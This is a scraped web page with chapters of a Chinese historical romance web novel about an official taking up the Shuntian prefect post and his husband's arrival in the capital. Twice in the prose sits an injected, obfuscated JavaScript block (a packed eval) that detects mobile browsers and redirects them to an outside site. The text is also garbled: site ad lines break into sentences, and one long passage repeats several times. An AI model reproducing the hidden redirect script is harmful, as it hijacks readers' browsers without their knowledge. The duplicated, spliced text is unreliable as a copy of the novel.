这句话很有深意,像是只是一句安抚臣子的话,又像是在提醒宋亭舟什么。 将所有情绪收敛起来,宋亭舟跪在殿下叩首谢恩,他姿势一如当年保和殿礼部官员所教导的那样标准,叩首的时候硬朗流畅的线条绷的很紧,声线沉稳低沉,“微臣叩谢陛下天恩,恪尽职守,以报圣恩。 上了一早上的朝会,皇上也十分疲惫,他挥了挥手,“去吧,宋卿有大功,朕已派宫侍备好赏赐,稍后自会送到你宅院。 宋亭舟又是一番叩拜大礼,等再从东华门出去,他整个人已经身心俱疲。 他身体素质不错,只是精神极度紧绷,帝王的每个字都在心中翻来覆去的揣测,自然有种力竭之感。也难怪有的老臣动不动就会被气昏、吓晕,实属身体精力双双饱受折磨。 雪生和陶家兄弟都守在东华门外,正是百般无聊又不能大声喧哗,四人里三人都在靠着马车闭目养神。 见宋亭舟回来大家都打起精神来,陶十一问道:“大人,咱们去哪儿? 宋亭舟上了马车,姿态才略微松懈,嗓音也附了层低哑,“回去。 低调简朴的马车从东华门前驶离,暗处不知又有几个探子在暗中观望。 陛下圣言既出,必有践诺。宋亭舟这边刚回拾春巷又补了顿早饭,宫里的赏赐就已经到了家门口,这个动静就太大了。 拾春巷别看都是三进以下的宅子,但住在其中非富即贵,不是在朝为官的京官,就是哪个大臣的亲戚。 有人打听到了这户人家的底细,也有人尚不知晓这多年无人的宅子住的是谁。 这会儿见宫中来人,家里的仆从小厮都巴望在门前看热闹。 “这家主人回来了? “昨天就见有人进进出出,想必是回来了。 “做什么的?也是文官? “我昨天见了,高高大大的一个年轻 你的朋友正在书荒,快去帮帮他吧 人没准是武将。” “什么武将就是文官齐盛二十五年的进士之前好像是外派出去了这就回京了?还挺有本事。” “我听我家老太爷说外派回京无比艰难他是七年前的进士回京也只能做个六品官吧?” “那比我家老爷还低一阶呢!” “我看未必那可都是宫中内侍似是来送什么东西来的这家主人准是受宫中哪位贵人看中了。” “内侍?那群掐着嗓子说话阉人出来了?让我看看!” “别挤啊我这边都看不见了!” 可能是认为宋家根基薄弱又在岭南多年手里没什么油水皇上赏赐的圣物中多是金银等黄白之物和一些内府御制的上好家具都是实用的东西。 宋亭舟将东西都放到后院卧房里等孟晚过来再入库。 下午稍晚一些祝泽宁和吴昭远一起过来找他两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被无视的祝泽宁急切道:“那你就这么上任,不会有什么危险吧?” 浅薄地叹息声隔着茶碗传了出来,宋亭舟平铺直述着圣上在文华殿里的话,“只要尽职守份,自然有圣上的龙威庇护。” 祝泽宁和吴昭远对视了一眼,一时间不知道这是宋亭舟安慰他们的话还是认真的。 吏部把宋亭舟叫回来着急,但人到了之后反而不催促他立即上任,接下来几天宋亭舟不是去祝家吃饭,就是三人再一同去吴家彻夜长谈。 京中耳目灵通,他们说起朝中的事都是点到为止,不敢深聊,便聊聊各自的经历。 宋亭舟这些年阅历丰富,几天几夜都说不完,但无奈他话少,一段惊心动魄的经历也是两句话概括完毕,让祝、吴两位听众听上去总觉得略显敷衍。 五日后,可能是觉得宋亭舟已经歇了过来,吏部来人通知他明日便可赴任。 他的官服工部也已经制造完成,五梁冠,赤绯袍,黑色皂靴。同他知府官袍没什么太大区别,只是胸前的补子换成了上下对飞的孔雀,色彩鲜明,绣工精湛,同普通人家的绣衣,确实有极大差别。 以皇宫为轴心,顺天府位于皇宫以北的北城区,与中宫大门正处于一条直线上。离拾春巷不近,骑马最少也要一个时辰。 清早宋亭舟在家里用了饭出发,雪生和陶家三兄弟常伴其左右,宋亭舟官职越高,对于属下分派的权利就越大。 他当下需要先去衙门熟悉公务,再将几人安插起来。 骑马至顺天府所在的北宫街,街道上早就密密麻麻的候了一干下官,加一起比普通府城至少多了一倍有余。 府丞是位五十来岁的中年男人,他带领下属的一名治中、六名通判等犹犹豫豫的上前询问:“可是宋亭舟宋大人?” 第4章 承恩伯爵府 金秋十月,雁阵南飞,一长队的马车却逆着燕群奔向北方。云淡风高,微风拂过时将晨起的草木覆着的白霜吹落,经晨阳照射后,闪烁出晶莹的光,美得清新透亮。 “阿爹,这里的城墙好高啊!门也好高好大啊!”阿砚坐在马车里掀开车帘,眼睛瞪得溜圆,望着前面高大巍峨的城楼惊叹。 通儿闻言也露出个脑袋,一本正经的点头附和,“是好大。” 方锦容轻敲他脑袋,“大什么大,阿爹不是带你来过吗?盛京是用来关人的,哪儿有爹爹们带你去黄山时的奇松怪石好看。” “你这形容……倒是真切。”孟晚琢磨一下,方锦容这么说也没毛病,盛京可不就是关人的吗? 皇城中关着这天下最尊贵的人们,一大群心高气傲的人围着皇城,又有最外层的人想拼命往里面挤,如此往复循环,没人觉得自己在被关着,实际他们早已寸步难行。 孟晚这次来几乎把家底都带上了,聂知遥暂时并没有带着绯哥儿回来外。除了宋家主仆一行和方锦容,孟晚还带上了陶家三兄弟的家人和乔兴源一家,林林总总加在一起有三十几辆马车。浩浩荡荡不说,车外还跟着条巨大的白狼,不仅惹人瞩目,还惊吓了路人。 马车上的少年扬起手来打了个清脆的响指,跑在最前面的雪狼便飞奔回来,毛发在风中飘扬,像是一层陆地巨浪,威武又霸气。 楚辞下了马,牵着缰绳对雪狼打了个手势,它在外野了这么久,到京城苦日子才开始。 雪狼低眉顺眼的瞟了楚辞一眼……再瞟一眼……主人还是那个手势,它只好蔫哒哒的窜上了马车,时而发出一声委屈的呜咽声。 盛京城有十二座城门,每座城门又设了关卡,中间较大的门洞供车马进入,左右两侧的小门洞走零零散散的行人。 不论是城中、城外、还是城墙上,都有一队队的士兵不停巡逻,戒备森严。 城外的护城河前,有许多家丁打扮的人在翘首以盼,其中衙役打扮的陶十一最为显眼。 “小辞!”他一眼看到牵马的高挑少年,大步跑了过来,脸上满是久别重逢的欣喜,“夫郎他们都来了吗?大人等好久了。” 楚辞歪头看了看他空空如也的身后,无声指了指。 “嗐,大人去上朝了,今天初一,是什么朔望朝,大人要比寻常朝官额外面奏地方事物,估计 过一会儿也快赶来了。大人说接到夫郎从苏州寄来的信,估计你们这些天就快到了,这两天除了雪生一直跟着大人外,我们兄弟三个每天都轮流来城外等候,没想到叫我给赶上了。”陶十一说着眼睛一瞬不顺的往后面的马车上看,不知道哪一个坐的是自家夫郎。 “十一。”孟晚从头一个马车里出声。 陶十一忙跑过去说:“夫郎有何吩咐?” 孟晚看到他们马车前后都有不少人在观望,吩咐他道:“咱们先进城吧,不等大人了,这么多的马车都挤在这儿怪耽误事的。” “欸,我这就过去,大家跟在我后面走就成,大人已经提前和守城的门千总提前打过招呼了。”陶十一打从刚才起,脸上就一直挂着笑,和孟晚说完就跑向自己的马匹,慢悠悠的在前面带路。 他们的马车过了护城河直奔城门,陶十一拿了宋亭舟的府尹腰牌和守门的门千总打了个招呼,士兵们大致的查验了一番便准备放他们入城。 “等等!”有人骑马过来拦住孟晚的车驾,临到城门处也没有下马,居高临下的对门千总说:“我家夫人城外踏青归来,要先进去。” 门千总心里咯噔一声,眼睛瞥向陶十一。 陶十一歪头看马上那人,“凭什么?没看到我们家夫郎是先来的!” 马上的人冷笑一声,“你家夫郎又是哪个?识相的就闪开,真要是得罪了人,你个小小的……衙役?应当是开罪不起吧。” 陶十一笑了,他们几个人敢这么嚣张?蚩羽可还在这里呢。 “十一,算了,让他们先走吧。”孟晚没有出面,在车厢里听到他们争执,决定退让一步。 寻常大臣的内眷应当不至于这般嚣张跋扈,没准是王公贵族,那人家确实是有嚣张的资本。 门千总暗暗松了一口气,他生怕陶十一这边跟人争执起来,到时候上边的大人物掰扯,他这个小角色也遭殃。 “多谢了。”马上的人敷衍的谢了一句,也不知道是在冲着谁,回去领自家马车就准备进城。 陶十一老大个不愿意,但孟晚发话也只能后退一步,让人家先进。 “让开!忠毅侯班师回朝,尔等速速闪开!” 本来孟晚坐在马车里无聊的想东想西,也不知道拾春巷装不装得下这么多东西。听闻忠毅候班师回朝,眼睛一亮。 忠毅侯居然这个当口回来了,不错,太好了!难怪在赫山县的时候太子殿下这么端的住,原来京城来靠山了! 他和宋亭舟岂不是也能借风使船? “老实在车上待着,我下去一趟。”孟晚嘱咐车上两个孩子,和一个比孩子还不靠谱的方锦容。 车辕上的蚩羽见孟晚下车,紧随其后。 这会儿刚才还和他们耀武扬威的人已经翻身下马,让到一旁,连同他后面的马车都停止前行,和孟晚他们的车并排停靠。 “恭贺侯爷大胜归来。”孟晚恭恭敬敬的对在马上疾驰的将士们揖礼,不知道哪个是忠毅侯,干脆随意一拱手。 “你这小哥儿是哪家的?”有个圆脸、穿着常服的年轻男人问道。 秦艽他爹定是不可能这么年轻,孟晚低头垂眸,“我乃顺天府尹宋亭舟之夫郎,夫君向我提过候爷,既然巧然遇见,这才下车行礼。” 旁边传来一阵倒吸冷气的声音,是之前在马上拦着他们的人,陶十一眼睛瞪过去,那人又一脸若无其事的扭开了。 “孟夫郎?”本来已经打马先行,快要进城门的高大男人闻言突然回了头。 孟晚确定目标,这位应该就是忠毅侯本人了,他重新对着人行礼,“侯爷,是我。” 忠毅候在马上向孟晚拱了拱手,“逆子在岭南承蒙宋大人关照,孟夫郎还请见谅,本侯要尽快入宫面见圣上,他日定当亲自登门拜访。” 孟晚不敢耽搁人家正事,退后一步,“侯爷客气了,你尽管先行。” 浩浩荡荡的一群战马飞奔入城,连马也不用下,全靠身份。 盛京的三六九等,眼下已经初见端倪。 宋亭舟从一旁的散客走动的门洞中牵着马匹出城,刚好能看见这一队煞气极重的将士们。视线落在末尾,便是恭送他们还没来得及上车的孟晚。 “晚儿。” 孟晚猛地侧过身子张望,“夫君!” 宋亭舟身上的朝服还没来得及换,赤罗衣的领口和袖口都是青色的镶边,下裳也是赤罗青缘,前三幅后四幅,每幅三襞积。同色的赤罗蔽膝,配黑色革带,革带上又镶嵌着长条形状的金色带銙。 他本就身高腿长模样俊朗,走动间衣袂清扬间身姿愈发挺拔,这身朝服更是为他平添一丝文官的翩翩风骨。 宋亭舟脚步比往常急促,他拉住孟晚的手,触感微凉,“是不是等了很久。” 孟晚弯着眼睛,笑意温柔,“没有等你,我们也是刚到,后面有人要先行进城,你随我上车再等一会儿吧。” 宋亭舟重复了一遍孟晚的话,“先行进城?” 陶十一指着紧挨着他们的车队嚷嚷,“大人,就是旁边的那支车队,说是让我们识相点就让开,他家夫人要先进城。” 宋亭舟抬眼望去,忠毅侯出现前还嚣张到不可一世的男人瞬间缩回了脖子,“宋大人,我们夫人说叫您先行。” 宋亭舟显然认出了他们的来历,他将手中的缰绳递给陶十一,拉着孟晚上了马车,头也没回一下,口中淡淡的说道:“那就多谢齐夫人了。” 在那人欲言又止的目光中,马车里传来宋亭舟的比往日更清朗的声音,“十一,在前面引路。” 陶十一狠狠瞪了那人一眼,一副小人得志的样子冷哼一声,骑上马昂着头进了城。 三十多辆马车浩浩荡荡,行了两刻钟才走干净。 他们走后,齐家的车才紧随其后进了城。 “累死我了,腰酸腿也疼。”孟晚洗漱完托着一头湿淋淋的头发从屏风后出来。 宋亭舟细致的用布巾帮他包住湿发,轻轻揉搓。 孟晚靠在他身上半眯着眼睛,“你赴任之后可遇到过什么危险?” “并无,只是京中势力繁多,有人来拾春巷暗探过。”宋亭舟一下又一下的擦着孟晚乌黑色的长发,地上不舒服就把孟晚带到榻上去。 上了榻,孟晚直接躺在他腿上,“咱们手下的能人异士还是太少了,蚩羽的身手出众,可惜盛京不是西梧府,让他跟着你上衙门恐怕会惹人话柄。” 在西梧府他们是土皇帝,到盛京城一切都开始畏手畏脚,唯一值得庆幸的是宋亭舟如今官居三品,又是要职,不像当时一个小进士那样被动,旁人轻易不敢招惹。 孟晚想起城门口事,半坐起来双臂搂住宋亭舟脖颈,因为刚洗过澡,他桃花状的眼睛里泛着一抹水光,下巴微抬,孟晚疑惑问道:“对了,城外那个齐夫人是哪家的?行事怎么肆无忌惮的。” 宋亭舟先低头亲了他两口才不急不缓的回答:“承恩伯爵府的伯爵夫人。” 孟晚了然,“原来是家里有爵位在身,难怪 行事如此张狂。” 朝奉、田宅、徭役、见官不拜,**爵位等就不用多说了。 禹国的勋爵都是有实权的,如秦艽家的侯爵,就属于正一品的存在,国公更是满朝唯一的超一品,没有实权的内阁首辅和他一比也就是个没有实权的摆设罢了。 伯爵比之侯爵稍差一筹,却也比普通一二品官员尊贵,上朝时同侯爵国公一样站位靠前,受皇帝礼遇。 禹国共有一国公、二侯爵、三伯爵。 项芸的女儿林苁蕙便是嫁入了怀恩伯爵府,与齐夫人所属的承恩伯爵府同级,两位伯爵在军中都有实权,儿子又能**爵位,自然有嚣张的资本。 孟晚迎接宋亭舟黏黏糊糊的啃噬,脖颈处都是对方炙热的呼吸和潮热的湿气,呼吸比刚才急促了一些,“我看承认伯爵府的下人好像有点怕你,这又是为何。” “承恩伯爵府的大老爷在外放了印子钱,我最近正在彻查此事,她亲自上门找过我。”宋亭舟说话的时候,滚烫的唇也没离开过孟晚被熏成粉色的皮肉。 数月不见太想他,宋亭舟本来只想同孟晚亲近一下,没想到越亲热越是火大,呈燎原之势,一时难以覆灭,便只能放纵一回。 “雪生,去院里守着门,不许放人进来。”不等孟晚再继续问,宋亭舟一把将他抱起走向里屋的床榻,还不忘吩咐外面的雪生守门。 **,雪生比屋里胡闹的俩人还脸热,红着脸在院子里打起了拳。 那拓等驿站的人在一样样的卸车,黄叶在整理东西,常金花晕车晕的厉害,这会儿躺在自己屋里睡觉。 大人们各干各的,阿砚和通儿在宅子里东奔西跑,看哪里都很好奇。 “公子,你等等我们啊!”桂诚和朱砂小心跟着,实际他们也稀奇的紧。 六七岁的小孩正是精力旺盛的时候,方锦容那么能折腾的人都有些受不住的在客房休息,他们俩却还能上蹿下跳。 拾春巷的这座小宅是当初项芸给爱徒一家暂时落脚的,林易怕触及宋亭舟的自尊心,便没有给他们准备太大的宅子,因此拾春巷这座小宅属于精巧型,花园阁楼前厅后宅样样不缺,但样样不大。 如今这么多人车都拥在宅子里,便有些挤了。 晌午宋亭舟从卧房里出来,又亲自拎了两桶水回去,步履轻快,满面春风。 “夫郎在休息,别叫人进去打扰,我去衙门办公,晚些再回来。” 他新官上任,很多事情都要仔细捋顺,便只歇半日,在家里用了午膳后又赶去了顺天府。 外面虽然人多吵闹,孟晚这一觉却还是睡到了黄昏时刻,他起身下床伸懒腰的时候,感觉浑身的骨头都在啪啪作响。 行事如此张狂。” 朝奉、田宅、徭役、见官不拜,**爵位等就不用多说了。 禹国的勋爵都是有实权的,如秦艽家的侯爵,就属于正一品的存在,国公更是满朝唯一的超一品,没有实权的内阁首辅和他一比也就是个没有实权的摆设罢了。 伯爵比之侯爵稍差一筹,却也比普通一二品官员尊贵,上朝时同侯爵国公一样站位靠前,受皇帝礼遇。 禹国共有一国公、二侯爵、三伯爵。 项芸的女儿林苁蕙便是嫁入了怀恩伯爵府,与齐夫人所属的承恩伯爵府同级,两位伯爵在军中都有实权,儿子又能**爵位,自然有嚣张的资本。 孟晚迎接宋亭舟黏黏糊糊的啃噬,脖颈处都是对方炙热的呼吸和潮热的湿气,呼吸比刚才急促了一些,“我看承认伯爵府的下人好像有点怕你,这又是为何。” “承恩伯爵府的大老爷在外放了印子钱,我最近正在彻查此事,她亲自上门找过我。”宋亭舟说话的时候,滚烫的唇也没离开过孟晚被熏成粉色的皮肉。 数月不见太想他,宋亭舟本来只想同孟晚亲近一下,没想到越亲热越是火大,呈燎原之势,一时难以覆灭,便只能放纵一回。 “雪生,去院里守着门,不许放人进来。”不等孟晚再继续问,宋亭舟一把将他抱起走向里屋的床榻,还不忘吩咐外面的雪生守门。 **,雪生比屋里胡闹的俩人还脸热,红着脸在院子里打起了拳。 那拓等驿站的人在一样样的卸车,黄叶在整理东西,常金花晕车晕的厉害,这会儿躺在自己屋里睡觉。 大人们各干各的,阿砚和通儿在宅子里东奔西跑,看哪里都很好奇。 “公子,你等等我们啊!”桂诚和朱砂小心跟着,实际他们也稀奇的紧。 六七岁的小孩正是精力旺盛的时候,方锦容那么能折腾的人都有些受不住的在客房休息,他们俩却还能上蹿下跳。 拾春巷的这座小宅是当初项芸给爱徒一家暂时落脚的,林易怕触及宋亭舟的自尊心,便没有给他们准备太大的宅子,因此拾春巷这座小宅属于精巧型,花园阁楼前厅后宅样样不缺,但样样不大。 如今这么多人车都拥在宅子里,便有些挤了。 晌午宋亭舟从卧房里出来,又亲自拎了两桶水回去,步履轻快,满面春风。 “夫郎在休息,别叫人进去打扰,我去衙门办公,晚些再回来。” 他新官上任,很多事情都要仔细捋顺,便只歇半日,在家里用了午膳后又赶去了顺天府。 外面虽然人多吵闹,孟晚这一觉却还是睡到了黄昏时刻,他起身下床伸懒腰的时候,感觉浑身的骨头都在啪啪作响。 行事如此张狂。” 朝奉、田宅、徭役、见官不拜,**爵位等就不用多说了。 禹国的勋爵都是有实权的,如秦艽家的侯爵,就属于正一品的存在,国公更是满朝唯一的超一品,没有实权的内阁首辅和他一比也就是个没有实权的摆设罢了。 伯爵比之侯爵稍差一筹,却也比普通一二品官员尊贵,上朝时同侯爵国公一样站位靠前,受皇帝礼遇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324966|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禹国共有一国公、二侯爵、三伯爵。 项芸的女儿林苁蕙便是嫁入了怀恩伯爵府,与齐夫人所属的承恩伯爵府同级,两位伯爵在军中都有实权,儿子又能**爵位,自然有嚣张的资本。 孟晚迎接宋亭舟黏黏糊糊的啃噬,脖颈处都是对方炙热的呼吸和潮热的湿气,呼吸比刚才急促了一些,“我看承认伯爵府的下人好像有点怕你,这又是为何。” “承恩伯爵府的大老爷在外放了印子钱,我最近正在彻查此事,她亲自上门找过我。”宋亭舟说话的时候,滚烫的唇也没离开过孟晚被熏成粉色的皮肉。 数月不见太想他,宋亭舟本来只想同孟晚亲近一下,没想到越亲热越是火大,呈燎原之势,一时难以覆灭,便只能放纵一回。 “雪生,去院里守着门,不许放人进来。”不等孟晚再继续问,宋亭舟一把将他抱起走向里屋的床榻,还不忘吩咐外面的雪生守门。 **,雪生比屋里胡闹的俩人还脸热,红着脸在院子里打起了拳。 那拓等驿站的人在一样样的卸车,黄叶在整理东西,常金花晕车晕的厉害,这会儿躺在自己屋里睡觉。 大人们各干各的,阿砚和通儿在宅子里东奔西跑,看哪里都很好奇。 “公子,你等等我们啊!”桂诚和朱砂小心跟着,实际他们也稀奇的紧。 六七岁的小孩正是精力旺盛的时候,方锦容那么能折腾的人都有些受不住的在客房休息,他们俩却还能上蹿下跳。 拾春巷的这座小宅是当初项芸给爱徒一家暂时落脚的,林易怕触及宋亭舟的自尊心,便没有给他们准备太大的宅子,因此拾春巷这座小宅属于精巧型,花园阁楼前厅后宅样样不缺,但样样不大。 如今这么多人车都拥在宅子里,便有些挤了。 晌午宋亭舟从卧房里出来,又亲自拎了两桶水回去,步履轻快,满面春风。 “夫郎在休息,别叫人进去打扰,我去衙门办公,晚些再回来。” 他新官上任,很多事情都要仔细捋顺,便只歇半日,在家里用了午膳后又赶去了顺天府。 外面虽然人多吵闹,孟晚这一觉却还是睡到了黄昏时刻,他起身下床伸懒腰的时候,感觉浑身的骨头都在啪啪作响。 行事如此张狂。” 朝奉、田宅、徭役、见官不拜,**爵位等就不用多说了。 禹国的勋爵都是有实权的,如秦艽家的侯爵,就属于正一品的存在,国公更是满朝唯一的超一品,没有实权的内阁首辅和他一比也就是个没有实权的摆设罢了。 伯爵比之侯爵稍差一筹,却也比普通一二品官员尊贵,上朝时同侯爵国公一样站位靠前,受皇帝礼遇。 禹国共有一国公、二侯爵、三伯爵。 项芸的女儿林苁蕙便是嫁入了怀恩伯爵府,与齐夫人所属的承恩伯爵府同级,两位伯爵在军中都有实权,儿子又能**爵位,自然有嚣张的资本。 孟晚迎接宋亭舟黏黏糊糊的啃噬,脖颈处都是对方炙热的呼吸和潮热的湿气,呼吸比刚才急促了一些,“我看承认伯爵府的下人好像有点怕你,这又是为何。” “承恩伯爵府的大老爷在外放了印子钱,我最近正在彻查此事,她亲自上门找过我。”宋亭舟说话的时候,滚烫的唇也没离开过孟晚被熏成粉色的皮肉。 数月不见太想他,宋亭舟本来只想同孟晚亲近一下,没想到越亲热越是火大,呈燎原之势,一时难以覆灭,便只能放纵一回。 “雪生,去院里守着门,不许放人进来。”不等孟晚再继续问,宋亭舟一把将他抱起走向里屋的床榻,还不忘吩咐外面的雪生守门。 **,雪生比屋里胡闹的俩人还脸热,红着脸在院子里打起了拳。 那拓等驿站的人在一样样的卸车,黄叶在整理东西,常金花晕车晕的厉害,这会儿躺在自己屋里睡觉。 大人们各干各的,阿砚和通儿在宅子里东奔西跑,看哪里都很好奇。 “公子,你等等我们啊!”桂诚和朱砂小心跟着,实际他们也稀奇的紧。 六七岁的小孩正是精力旺盛的时候,方锦容那么能折腾的人都有些受不住的在客房休息,他们俩却还能上蹿下跳。 拾春巷的这座小宅是当初项芸给爱徒一家暂时落脚的,林易怕触及宋亭舟的自尊心,便没有给他们准备太大的宅子,因此拾春巷这座小宅属于精巧型,花园阁楼前厅后宅样样不缺,但样样不大。 如今这么多人车都拥在宅子里,便有些挤了。 晌午宋亭舟从卧房里出来,又亲自拎了两桶水回去,步履轻快,满面春风。 “夫郎在休息,别叫人进去打扰,我去衙门办公,晚些再回来。” 他新官上任,很多事情都要仔细捋顺,便只歇半日,在家里用了午膳后又赶去了顺天府。 外面虽然人多吵闹,孟晚这一觉却还是睡到了黄昏时刻,他起身下床伸懒腰的时候,感觉浑身的骨头都在啪啪作响。 行事如此张狂。” 朝奉、田宅、徭役、见官不拜,**爵位等就不用多说了。 禹国的勋爵都是有实权的,如秦艽家的侯爵,就属于正一品的存在,国公更是满朝唯一的超一品,没有实权的内阁首辅和他一比也就是个没有实权的摆设罢了。 伯爵比之侯爵稍差一筹,却也比普通一二品官员尊贵,上朝时同侯爵国公一样站位靠前,受皇帝礼遇。 禹国共有一国公、二侯爵、三伯爵。 项芸的女儿林苁蕙便是嫁入了怀恩伯爵府,与齐夫人所属的承恩伯爵府同级,两位伯爵在军中都有实权,儿子又能**爵位,自然有嚣张的资本。 孟晚迎接宋亭舟黏黏糊糊的啃噬,脖颈处都是对方炙热的呼吸和潮热的湿气,呼吸比刚才急促了一些,“我看承认伯爵府的下人好像有点怕你,这又是为何。” “承恩伯爵府的大老爷在外放了印子钱,我最近正在彻查此事,她亲自上门找过我。”宋亭舟说话的时候,滚烫的唇也没离开过孟晚被熏成粉色的皮肉。 数月不见太想他,宋亭舟本来只想同孟晚亲近一下,没想到越亲热越是火大,呈燎原之势,一时难以覆灭,便只能放纵一回。 “雪生,去院里守着门,不许放人进来。”不等孟晚再继续问,宋亭舟一把将他抱起走向里屋的床榻,还不忘吩咐外面的雪生守门。 **,雪生比屋里胡闹的俩人还脸热,红着脸在院子里打起了拳。 那拓等驿站的人在一样样的卸车,黄叶在整理东西,常金花晕车晕的厉害,这会儿躺在自己屋里睡觉。 大人们各干各的,阿砚和通儿在宅子里东奔西跑,看哪里都很好奇。 “公子,你等等我们啊!”桂诚和朱砂小心跟着,实际他们也稀奇的紧。 六七岁的小孩正是精力旺盛的时候,方锦容那么能折腾的人都有些受不住的在客房休息,他们俩却还能上蹿下跳。 拾春巷的这座小宅是当初项芸给爱徒一家暂时落脚的,林易怕触及宋亭舟的自尊心,便没有给他们准备太大的宅子,因此拾春巷这座小宅属于精巧型,花园阁楼前厅后宅样样不缺,但样样不大。 如今这么多人车都拥在宅子里,便有些挤了。 晌午宋亭舟从卧房里出来,又亲自拎了两桶水回去,步履轻快,满面春风。 “夫郎在休息,别叫人进去打扰,我去衙门办公,晚些再回来。” 他新官上任,很多事情都要仔细捋顺,便只歇半日,在家里用了午膳后又赶去了顺天府。 外面虽然人多吵闹,孟晚这一觉却还是睡到了黄昏时刻,他起身下床伸懒腰的时候,感觉浑身的骨头都在啪啪作响。 第5章 换宅 往常在西梧府的时候,这个时辰家里都开始张罗晚饭了,如今院子里却一片寂静。 知道宋亭舟许是还没回来,孟晚下意识到厨房去找常金花。 “夫……夫郎。月梅局促不安的从灶台下站起来对孟晚行礼。黄叶的娘槿姑和朱颜也在这里帮忙, 孟晚随口说道:“你们忙你们的吧,我就是过来看看。 他从厨房出来,踏着金黄色的晚霞跑到常金花院里,常金花睡了一上午,下午恢复了些精神,正在收拾手边常用的东西。 孟晚帮她把从赫山县带来的茶叶放到陶瓷罐子里封存起来,劝道:“娘,你好些了吗?这些东西让黄叶他们收拾就好,你再歇歇吧。 常金花在路上吃不好睡不好,这么远的路程生生瘦了两圈,孟晚见她眉宇间的褶皱,总觉得比往日更深了些。 “叶哥儿也没少受累,上午都是他在忙活,我叫他下去歇着了,这会儿我睡也睡不着,还不如起来干点活。常金花劳作惯了,真让她什么都不干在宅子里憋着,还不如让她回乡种地。 当然,要是还开店就更好了。 孟晚在常金花屋内转悠,毫不客气的翻箱倒柜找吃的,家里都没收拾好,他也只是找到半包蜜饯,吃了一口觉得腻得慌,又放下了。 “盛京不比西梧府,家里小辞、阿砚和你身边都要跟着人。咱们在西梧府带来的那批人改明儿我找人教教规矩,都是半大的孩子,正是学什么都快的年纪。 孟晚早就料定了到盛京后他家这几个人手不够,与其到盛京买上一批来历不明的,还不如从岭南带来。 钦州灾患,各处人牙子从钦州拉了不少孩子出来,都是无可奈何的事,若是宋亭舟没有大刀阔斧的整顿钦州,只怕全钦州都遍地流民。 常金花放下手中的包袱,坐到孟晚身边叹了口气,“晚哥儿,娘舍不得使唤那些孩子,他们都是正当好的年纪,该在家里跟爹娘撒娇玩耍。 她心软,这点从当初对孟晚就能看出来,没见过哪家卖人要自己伺候着的,孟晚除了一个纳鞋底,到现在也没学会一点女红。 “其实我也觉得不大习惯,但那些孩子落在咱们家总比落到旁人家里强吧?起码不会苛刻打骂,咱们养大了若是长大想嫁人或是成亲娶媳妇,咱们都给出嫁妆、聘礼。孟晚心倒是比常金花理智冷硬,但他受现代共 你的朋友正在书荒,快去帮帮他吧 和主义熏陶,总也不会特别习惯把人当奴隶。他更多的是把家里下人当下属用,大家合作关系。 但有一点这些新买来的仆人和雪生、碧云、黄叶的情况不同,他们三人孟晚都已经把身契给放了,碧云的户籍迁到了陶家,雪生和黄叶到在宋家,都从奴籍改成了良籍。 曾经于孟晚千难万难的事,在家里有高官在的时候就变成了一件轻而易举的事,只要一句话,下面的人就给办的漂漂亮亮。 那些新买来的包括朱颜桂诚他们又和雪生三人不同,孟晚不确定这些人会不会被引诱而背叛自己,因此身契全都妥善保管在他手里。 他不会苛责挑剔,却也不会毫无防备地全盘信任,他的宽容,建立在这些人不会损害自家安危上。 常金花被他说服,虽然依旧有些不习惯,但也在试着让自己接受,她把孟晚叫到炕上坐着,同他商量道:“晚儿,娘想回乡看看你爹,给他坟上盖盖土,除除草。 她语气深沉,双眸黯淡,身上蔓延着一股哀伤的气息。 孟晚一口答应下来,“当然可以了,你先在盛京缓缓,调养调养身体。等冬天不管夫君有没有空,我都陪你回乡,把阿砚也带着,让爹看看孙子。 提起阿砚常金花笑了,眼尾的褶皱都显得温柔,“好,好,让你爹看看孙子,瞧瞧咱们家的阿砚养的多好。 孟晚饿坏了,家里饭做好了就让下人们端上来。月梅心想家里老爷还没回来,饭菜就这么端上去,等老爷回来不会责备他们吧? 但黄叶等人没有半点犹豫,当即吩咐众人上菜,如今宋家的仆人多了,雪生多是跟着主家,并不管事,黄叶相当于家里的管家,因此见他吩咐,也没犹豫,只有月梅两口子还在忐忑不安。 “月梅嫂子,你和柳哥对周边熟悉,平日采买肉菜的活就交给你们了,桂谦识字,让他跟着你们两口子打下手,也多学学。黄叶对还愣在原地的月梅夫妻二人说道。 “欸,成,成!两人忙不迭的答应下来,他们还以为夫郎回来,会重用自己亲信,把他们俩安排的远远的,没成想不光分到了差事,还得了个肥差,自然都喜不自胜。 月梅的手艺不好,但槿姑的手艺是常金花亲自调教出来的,与常金花做菜的味道差不多,孟晚是爱吃的。 方锦容和通儿还没醒,阿砚也睡着,到底是累到了,刚到新地方兴奋了一上午,午 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 后就都撑不住了。 孟晚在常金花这里用饭,娘俩像在昌平老家的时候那样,往炕上支了张桌子,摆了个六菜一汤。 从前常金花不爱喝汤,这个习惯还是到西梧府养成的,岭南湿气重,多喝汤类能祛湿滋养。 常金花笑道:“煲汤我就不如槿姑煲得好了,这个她在行,红菇猪骨汤你喝不喝?娘帮你盛。” 两人身边没用人伺候,孟晚把碗往前一递,“要喝,谢谢娘。” 孟晚连饿带馋,喝了两碗汤,用了一碗米饭并许多的菜。常金花还病着,喝了两碗汤吃了几口菜就撂了筷子。 他们吃的差不多了宋亭舟才回来,他也不嫌弃老娘和夫郎,把一桌子剩菜扫光了。 